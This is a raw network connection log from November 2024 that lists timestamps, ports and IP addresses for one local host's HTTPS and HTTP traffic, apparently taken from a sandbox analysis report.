Nov 26, 2024 01:41:33.606878996 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:33.607007027 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:33.607057095 CET	49712	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:33.609808922 CET	49807	443	192.168.2.6	94.245.104.56
Nov 26, 2024 01:41:33.609850883 CET	443	49807	94.245.104.56	192.168.2.6
Nov 26, 2024 01:41:33.609989882 CET	49807	443	192.168.2.6	94.245.104.56
Nov 26, 2024 01:41:33.611886024 CET	49808	443	192.168.2.6	94.245.104.56
Nov 26, 2024 01:41:33.611917019 CET	443	49808	94.245.104.56	192.168.2.6
Nov 26, 2024 01:41:33.612139940 CET	49808	443	192.168.2.6	94.245.104.56
Nov 26, 2024 01:41:33.612536907 CET	49807	443	192.168.2.6	94.245.104.56
Nov 26, 2024 01:41:33.612552881 CET	443	49807	94.245.104.56	192.168.2.6
Nov 26, 2024 01:41:33.613605976 CET	49808	443	192.168.2.6	94.245.104.56
Nov 26, 2024 01:41:33.613621950 CET	443	49808	94.245.104.56	192.168.2.6
Nov 26, 2024 01:41:33.615288973 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:33.615392923 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:33.615466118 CET	49712	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:33.623687983 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:33.781265020 CET	49712	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:33.934905052 CET	49809	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:33.934947014 CET	443	49809	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:33.935194016 CET	49809	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:33.942102909 CET	49809	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:33.942121029 CET	443	49809	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:34.439438105 CET	80	49778	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:34.440517902 CET	49778	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:34.495682955 CET	443	49796	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:34.553919077 CET	49796	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:34.553941011 CET	443	49796	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:34.554786921 CET	49796	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:34.554794073 CET	443	49796	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:34.670064926 CET	443	49802	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:34.671367884 CET	49802	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:34.671401978 CET	443	49802	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:34.672575951 CET	49802	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:34.672584057 CET	443	49802	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:34.730786085 CET	443	49799	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:34.732101917 CET	49799	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:34.732110977 CET	443	49799	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:34.732640982 CET	49799	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:34.732654095 CET	443	49799	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:34.732669115 CET	443	49800	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:34.732994080 CET	49800	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:34.733022928 CET	443	49800	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:34.733762026 CET	49800	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:34.733767986 CET	443	49800	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:34.758300066 CET	443	49801	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:34.759567022 CET	49801	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:34.759586096 CET	443	49801	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:34.760224104 CET	49801	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:34.760230064 CET	443	49801	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:34.857983112 CET	49778	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:34.858814001 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:34.939553976 CET	443	49796	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:34.939613104 CET	443	49796	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:34.939974070 CET	49796	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:34.941858053 CET	49796	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:34.941869020 CET	443	49796	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:34.971678019 CET	49814	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:34.971760988 CET	443	49814	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:34.971975088 CET	49814	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:34.972841024 CET	49814	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:34.972871065 CET	443	49814	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:34.977860928 CET	80	49778	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:34.978669882 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:34.978758097 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:34.978996992 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:35.098853111 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:35.106333971 CET	443	49802	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:35.106408119 CET	443	49802	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:35.106462002 CET	49802	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:35.121334076 CET	49802	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:35.121360064 CET	443	49802	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:35.121371984 CET	49802	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:35.121377945 CET	443	49802	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:35.161737919 CET	49815	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:35.161782980 CET	443	49815	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:35.161843061 CET	49815	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:35.163985014 CET	49815	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:35.163999081 CET	443	49815	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:35.174947977 CET	443	49799	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:35.174998999 CET	443	49799	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:35.175065994 CET	49799	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:35.178210020 CET	443	49800	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:35.178281069 CET	443	49800	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:35.178332090 CET	49800	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:35.202963114 CET	443	49801	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:35.203126907 CET	443	49801	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:35.203186989 CET	49801	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:35.212162971 CET	49799	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:35.212162971 CET	49799	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:35.212182045 CET	443	49799	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:35.212193012 CET	443	49799	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:35.218782902 CET	49800	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:35.218820095 CET	443	49800	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:35.218837023 CET	49800	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:35.218846083 CET	443	49800	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:35.220222950 CET	49801	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:35.220249891 CET	443	49801	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:35.220263004 CET	49801	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:35.220268011 CET	443	49801	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:35.224579096 CET	49816	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:35.224617004 CET	443	49816	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:35.224751949 CET	49816	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:35.224937916 CET	49816	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:35.224950075 CET	443	49816	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:35.227085114 CET	49817	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:35.227117062 CET	443	49817	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:35.227165937 CET	49817	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:35.227477074 CET	49818	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:35.227493048 CET	443	49818	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:35.227552891 CET	49818	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:35.227576017 CET	49817	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:35.227590084 CET	443	49817	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:35.227855921 CET	49818	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:35.227868080 CET	443	49818	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:35.355505943 CET	443	49807	94.245.104.56	192.168.2.6
Nov 26, 2024 01:41:35.355846882 CET	49807	443	192.168.2.6	94.245.104.56
Nov 26, 2024 01:41:35.355858088 CET	443	49807	94.245.104.56	192.168.2.6
Nov 26, 2024 01:41:35.356858015 CET	443	49807	94.245.104.56	192.168.2.6
Nov 26, 2024 01:41:35.356916904 CET	49807	443	192.168.2.6	94.245.104.56
Nov 26, 2024 01:41:35.361609936 CET	49807	443	192.168.2.6	94.245.104.56
Nov 26, 2024 01:41:35.361687899 CET	443	49807	94.245.104.56	192.168.2.6
Nov 26, 2024 01:41:35.361918926 CET	49807	443	192.168.2.6	94.245.104.56
Nov 26, 2024 01:41:35.361926079 CET	443	49807	94.245.104.56	192.168.2.6
Nov 26, 2024 01:41:35.409334898 CET	443	49808	94.245.104.56	192.168.2.6
Nov 26, 2024 01:41:35.409868956 CET	49808	443	192.168.2.6	94.245.104.56
Nov 26, 2024 01:41:35.409882069 CET	443	49808	94.245.104.56	192.168.2.6
Nov 26, 2024 01:41:35.410943031 CET	443	49808	94.245.104.56	192.168.2.6
Nov 26, 2024 01:41:35.411039114 CET	49808	443	192.168.2.6	94.245.104.56
Nov 26, 2024 01:41:35.411603928 CET	49808	443	192.168.2.6	94.245.104.56
Nov 26, 2024 01:41:35.411674976 CET	443	49808	94.245.104.56	192.168.2.6
Nov 26, 2024 01:41:35.449117899 CET	49807	443	192.168.2.6	94.245.104.56
Nov 26, 2024 01:41:35.619338989 CET	443	49808	94.245.104.56	192.168.2.6
Nov 26, 2024 01:41:35.619389057 CET	49808	443	192.168.2.6	94.245.104.56
Nov 26, 2024 01:41:35.855907917 CET	443	49807	94.245.104.56	192.168.2.6
Nov 26, 2024 01:41:35.855992079 CET	443	49807	94.245.104.56	192.168.2.6
Nov 26, 2024 01:41:35.856060982 CET	49807	443	192.168.2.6	94.245.104.56
Nov 26, 2024 01:41:35.941896915 CET	49807	443	192.168.2.6	94.245.104.56
Nov 26, 2024 01:41:35.941910982 CET	443	49807	94.245.104.56	192.168.2.6
Nov 26, 2024 01:41:36.214140892 CET	443	49809	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:36.214323997 CET	49809	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:36.216680050 CET	49809	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:36.216696978 CET	443	49809	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:36.216953993 CET	443	49809	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:36.231097937 CET	49809	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:36.231194019 CET	49809	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:36.231199980 CET	443	49809	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:36.231498957 CET	49809	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:36.275331020 CET	443	49809	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:36.362346888 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:36.362380981 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:36.362509966 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:36.364415884 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:36.364429951 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:36.815964937 CET	443	49814	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:36.858565092 CET	49814	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:36.858565092 CET	49814	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:36.858624935 CET	443	49814	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:36.858648062 CET	443	49814	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:36.868130922 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:36.868237972 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:36.904850006 CET	443	49809	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:36.904931068 CET	443	49809	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:36.906142950 CET	49809	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:36.906142950 CET	49809	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:36.906169891 CET	443	49809	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:36.906187057 CET	49809	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:36.944104910 CET	443	49815	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:36.946041107 CET	443	49818	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:37.006092072 CET	443	49816	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:37.081552029 CET	49815	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:37.081571102 CET	49818	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:37.081571102 CET	49816	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:37.148186922 CET	49815	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:37.148195028 CET	443	49815	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:37.149271965 CET	49815	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:37.149277925 CET	443	49815	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:37.270030975 CET	443	49814	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:37.270101070 CET	443	49814	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:37.270265102 CET	49814	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:37.347980976 CET	49818	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:37.348005056 CET	443	49818	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:37.348961115 CET	49818	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:37.348967075 CET	443	49818	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:37.383469105 CET	49816	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:37.383480072 CET	443	49816	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:37.385076046 CET	49816	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:37.385080099 CET	443	49816	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:37.395584106 CET	49814	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:37.395584106 CET	49814	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:37.395644903 CET	443	49814	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:37.395673037 CET	443	49814	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:37.400310040 CET	49833	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:37.400333881 CET	443	49833	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:37.400389910 CET	49833	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:37.400691986 CET	49833	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:37.400703907 CET	443	49833	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:37.474992990 CET	443	49815	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:37.475073099 CET	443	49815	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:37.475122929 CET	49815	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:37.478682041 CET	49815	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:37.478693008 CET	443	49815	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:37.478704929 CET	49815	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:37.478708982 CET	443	49815	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:37.494200945 CET	49834	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:37.494246006 CET	443	49834	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:37.494326115 CET	49834	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:37.498924017 CET	49834	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:37.498936892 CET	443	49834	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:37.530106068 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:37.649990082 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:37.667319059 CET	443	49818	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:37.667431116 CET	443	49818	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:37.667490005 CET	49818	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:37.668014050 CET	49818	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:37.668029070 CET	443	49818	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:37.668040037 CET	49818	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:37.668045044 CET	443	49818	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:37.679351091 CET	49835	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:37.679394960 CET	443	49835	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:37.679455042 CET	49835	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:37.679796934 CET	49836	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:37.679805040 CET	443	49836	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:37.679855108 CET	49836	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:37.680346012 CET	49836	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:37.680361986 CET	443	49836	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:37.680671930 CET	49835	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:37.680686951 CET	443	49835	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:37.689310074 CET	49837	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:37.689376116 CET	443	49837	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:37.689443111 CET	49837	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:37.690992117 CET	49837	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:37.691009045 CET	443	49837	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:37.702482939 CET	49838	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:37.702517986 CET	443	49838	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:37.702580929 CET	49838	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:37.709305048 CET	49838	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:37.709320068 CET	443	49838	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:37.710892916 CET	443	49816	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:37.710958958 CET	443	49816	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:37.711004972 CET	49816	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:37.711175919 CET	49816	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:37.711190939 CET	443	49816	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:37.711201906 CET	49816	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:37.711206913 CET	443	49816	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:37.718914032 CET	49839	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:37.718940020 CET	443	49839	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:37.718998909 CET	49839	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:37.719819069 CET	49839	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:37.719830036 CET	443	49839	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:38.130776882 CET	49789	443	192.168.2.6	150.171.28.10
Nov 26, 2024 01:41:38.130793095 CET	443	49789	150.171.28.10	192.168.2.6
Nov 26, 2024 01:41:38.306303978 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:38.307763100 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:38.307787895 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:38.308152914 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:38.308166981 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:38.308218002 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:38.308231115 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:38.308281898 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:38.308886051 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:38.310686111 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:38.310756922 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:38.311014891 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:38.311028957 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:38.351072073 CET	49841	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:38.351115942 CET	443	49841	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:38.351186037 CET	49841	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:38.351471901 CET	49841	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:38.351489067 CET	443	49841	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:38.351978064 CET	49842	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:38.352014065 CET	443	49842	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:38.352149963 CET	49842	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:38.352300882 CET	49842	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:38.352317095 CET	443	49842	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:38.484087944 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:38.484301090 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:38.519332886 CET	443	49825	172.217.19.225	192.168.2.6
Nov 26, 2024 01:41:38.520436049 CET	49825	443	192.168.2.6	172.217.19.225
Nov 26, 2024 01:41:38.532823086 CET	49849	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:38.532860041 CET	443	49849	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:38.532936096 CET	49849	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:38.535733938 CET	49849	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:38.535742998 CET	443	49849	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:38.540060043 CET	49852	443	192.168.2.6	18.165.220.57
Nov 26, 2024 01:41:38.540067911 CET	443	49852	18.165.220.57	192.168.2.6
Nov 26, 2024 01:41:38.540123940 CET	49852	443	192.168.2.6	18.165.220.57
Nov 26, 2024 01:41:38.540471077 CET	49852	443	192.168.2.6	18.165.220.57
Nov 26, 2024 01:41:38.540482998 CET	443	49852	18.165.220.57	192.168.2.6
Nov 26, 2024 01:41:38.558321953 CET	49836	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:38.558549881 CET	49841	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:38.559235096 CET	49854	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:38.559254885 CET	443	49854	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:38.559406042 CET	49855	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:38.559437990 CET	443	49855	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:38.559457064 CET	49854	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:38.559489012 CET	49855	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:38.559725046 CET	49854	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:38.559739113 CET	443	49854	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:38.559977055 CET	49855	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:38.559992075 CET	443	49855	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:38.560301065 CET	49837	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:38.560789108 CET	49842	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:38.561052084 CET	49856	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:38.561058998 CET	443	49856	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:38.561121941 CET	49856	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:38.561484098 CET	49857	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:38.561506033 CET	443	49857	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:38.561636925 CET	49857	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:38.562179089 CET	49856	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:38.562191010 CET	443	49856	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:38.562289953 CET	49808	443	192.168.2.6	94.245.104.56
Nov 26, 2024 01:41:38.562386036 CET	443	49808	94.245.104.56	192.168.2.6
Nov 26, 2024 01:41:38.562561989 CET	443	49808	94.245.104.56	192.168.2.6
Nov 26, 2024 01:41:38.562592983 CET	49808	443	192.168.2.6	94.245.104.56
Nov 26, 2024 01:41:38.562613010 CET	49808	443	192.168.2.6	94.245.104.56
Nov 26, 2024 01:41:38.563227892 CET	49835	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:38.563337088 CET	49849	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:38.563518047 CET	49852	443	192.168.2.6	18.165.220.57
Nov 26, 2024 01:41:38.564985037 CET	49862	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:38.564995050 CET	443	49862	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:38.565088987 CET	49862	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:38.565140009 CET	49863	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:38.565160990 CET	443	49863	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:38.565262079 CET	49863	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:38.565655947 CET	49857	443	192.168.2.6	162.159.61.3
Nov 26, 2024 01:41:38.565665960 CET	443	49857	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:38.566366911 CET	49862	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:38.566376925 CET	443	49862	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:38.566436052 CET	49863	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:38.566447020 CET	443	49863	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:38.603332043 CET	443	49841	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:38.603346109 CET	443	49836	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:38.603367090 CET	443	49835	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:38.603393078 CET	443	49842	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:38.603406906 CET	443	49837	162.159.61.3	192.168.2.6
Nov 26, 2024 01:41:38.607346058 CET	443	49849	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:38.611351013 CET	443	49852	18.165.220.57	192.168.2.6
Nov 26, 2024 01:41:38.631844044 CET	49789	443	192.168.2.6	150.171.28.10
Nov 26, 2024 01:41:38.631851912 CET	443	49789	150.171.28.10	192.168.2.6
